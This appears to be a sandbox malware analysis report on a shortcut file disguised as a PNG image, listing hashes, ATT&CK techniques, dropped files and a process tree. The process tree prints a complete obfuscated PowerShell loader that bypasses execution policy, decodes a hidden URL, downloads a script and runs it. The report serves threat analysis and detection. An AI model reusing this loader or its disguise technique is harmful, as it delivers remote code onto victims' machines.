534aac519a9b9be2098bf2330f77e57db26b6dcde4d11035cc4091e0dda0883a

Analysis

max time kernel
299s
max time network
297s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PHOTO-366969872.png.lnk
Size 2KB
Sample260720-cs88fae13w
SHA256 534aac519a9b9be2098bf2330f77e57db26b6dcde4d11035cc4091e0dda0883a
MD5 328bfad2c2df94450d58f518d7799e79
SHA1 7af781d499ccaf316c6b507332eaa1d17510b374
SHA512 4b072f8dd04165a8447038781efd8fc56c3b8df2ddb5e9c04f6b4eeb8e7edcf0e8df0f36b8cdbca05909231bcf7246b17d72020d9cb58c83c163a344bd4542ac
TLSH
T12441DF2027E10369F7F78B35D8FD6213E5227907EB228F9F11C4429955B1611E86AF3E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5004	powershell.exe
4	2004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe
2004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2256	cmd.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 5004	2256	cmd.exe	89
PID 5004 wrote to memory of 2004	5004	powershell.exe	91
PID 2004 wrote to memory of 5044	2004	powershell.exe	92
PID 5044 wrote to memory of 3592	5044	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-366969872.png.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$AOGyL=[System.Numerics.BigInteger]\"254747336614718164242410228740884121307850552731600\";$drdSi=[System.Numerics.BigInteger]\"91935875567794305012259393984346061680268807764583\";$a1zKR=$AOGyL - $drdSi;for($GJz7Hzy=100+156;$a1zKR -ne 0;$a1zKR=$a1zKR / $GJz7Hzy){$n4DFor8=[int]($a1zKR % $GJz7Hzy);$uPtHfrgl+=[System.Convert]::ToChar($n4DFor8);}; Invoke-WebRequest $uPtHfrgl -OutFile $env:TEMP\q1cAMWP.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\q1cAMWP.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\q1cAMWP.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\upyfudb4\upyfudb4.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4FCC.tmp" "c:\Users\Admin\AppData\Local\Temp\upyfudb4\CSC25D2C838BEFB41ABBB55C06A9C175C4.TMP"
        5⤵
        
        PID:3592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 044976843b358f5409537dc12b2d04433dbfbec65f0ba526fbdaa81b4c6eb7f9
MD5 fadab46fe4946e6a9c054ce8bc566350
SHA1 541a211ec5920f712474191250bf3168814f619c
SHA512 7dc5d11fe37fac0f4e468fb41a7ed7ee0a48e3024a75d9f02e75970e32355220cef3051d9c40fa083304a1f7d26f2d63dd5ca57a97488f45e4ba8018bd5cac31
TLSH
T195215C23B3CC86E4DC5A413650CEAC1536B787DB409EDEDB67C4D149B42F185CE61550
MD5 SHA1 SHA512 TLSH

Submit Download

RES4FCC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4FCC.tmp
Size 1KB
SHA256 31953fba806e58c3599886a78f41583a858f8697df32b5c1a1009ca50571f132
MD5 767e6252a40ce866464df383ba6bb8af
SHA1 706c2f661a782f9278a4ea7eaaa0fdfe80ab7ffb
SHA512 1d7f98010c433b1ee5e668de515f99d881d00082c28a217fd1fdb56934cce7da37ee564fb23cea74ec474f466b1e027c3544d17e04557d84d4015176ccf51d71
TLSH
T14621CC0493ED871FF07307316AFA135FA278FC54EFB2A75A944042282C51104EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

q1cAMWP.ps1

Path C:\Users\Admin\AppData\Local\Temp\q1cAMWP.ps1
Size 535KB
SHA256 816d73f23aa3e11f89e3dc54dce0fb921c0ef72b85bd6b06632d19f0924b35ef
MD5 ac0b51da84c747447b819e18f0dac14d
SHA1 a3845f7fdb469c73db062ff263ff870d90b92421
SHA512 61168f23642b104c9da94f3d65f1810cf45a940dfcc3d2ef325bb237fbf21d5d0c1a3398ecafef7c457ce89e498c9c411eb70c4fcefb25bf5c52b8bd2cabf8e2
SSDEEP 12288:KLEBTBBO1Vgs+S6Emk3b9yGjqyD5uOPbn5xGLKrYDzQ:7TBoXoE/ZyGjqy1uOPbvGLKIQ
TLSH
T183C423181FA8BAF648448A25BD3F1A3435435C938808FEAAFDCF47571263E12C6977B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

upyfudb4.dll

Path C:\Users\Admin\AppData\Local\Temp\upyfudb4\upyfudb4.dll
Size 3KB
SHA256 6feb5b581d1989d16e4b9da0f88cc5cec7e6ad8a2960b5f55f03b7f9b058da94
MD5 1d9d710c69135eeafc0080df619d2ca6
SHA1 7f806db02e5c834bf7b03c4acbde245be91a50cc
SHA512 fadf623fb1e34b071ce2f45a84913bef03da486c123dc94b87a9baaf187a91c96200b6b6024d26d430d00f46454c45196f91e9ebedf6f2c65bbea595d59f0c44
TLSH
T12851CA1AA7EC462BE4670735AFF3035737B9F8149FB2576D59800228AC20B545E36BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC25D2C838BEFB41ABBB55C06A9C175C4.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\upyfudb4\CSC25D2C838BEFB41ABBB55C06A9C175C4.TMP
Size 652B
SHA256 fb86156c883e6c624a94f33d8ec561ce8b4cdda1a322459d6294c621f4da1a43
MD5 53ca4cda51775ae9adf8a4d658b5d1e0
SHA1 f2926cdabe413d5218a9edc0be2e8f687132098e
SHA512 3ef3ae34eb215a19b29af01c51f0e44e394d222d46304186f16c618a728a735021a8325aa8ba7a1339e6980e1ccf63ff4957c2cb645a01ae1184ea2547b25e93
TLSH
T1D1F0300963F8830AF1F74B30B9F543A3A169FC65DE3293ED184003291C645148661FB1
MD5 SHA1 SHA512 TLSH

Submit Download

upyfudb4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\upyfudb4\upyfudb4.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

upyfudb4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\upyfudb4\upyfudb4.cmdline
Size 369B
SHA256 e5d292264bb27c8823325e01a17e8d42722d7b62c6bd03d0122b8b74a17ccac0
MD5 e869dadcc1e9aa8caeec19a95aa5bc55
SHA1 48a4819e6aa82f4eb31efab1f21c57b6c7f4dddb
SHA512 d1a3be9eb6080afe9820f0b627e6c0d2a2b7c218b2de6d8d2fe697c55ec72ac0cb35fbd34a777e2d8315f2ac6731b3653cf51c014eb0ebed02718f90a1763487
TLSH
T138E0C03E979EC27E01DD10072369D4ADC2B2374B29823F88A064440DD01700027D1745
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2004-37-0x000001B371880000-0x000001B371888000-memory.dmp

Download

memory/5004-11-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-10-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-15-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-16-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-17-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-18-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-19-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-20-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-13-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-12-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-2-0x00007FFC45D7F000-0x00007FFC45D80000-memory.dmp

Download

memory/5004-14-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-9-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-8-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-7-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-39-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-40-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-41-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-6-0x000001F0F3450000-0x000001F0F3472000-memory.dmp

Download

memory/5004-3-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download

memory/5004-48-0x00007FFC45BF0000-0x00007FFC46594000-memory.dmp

Download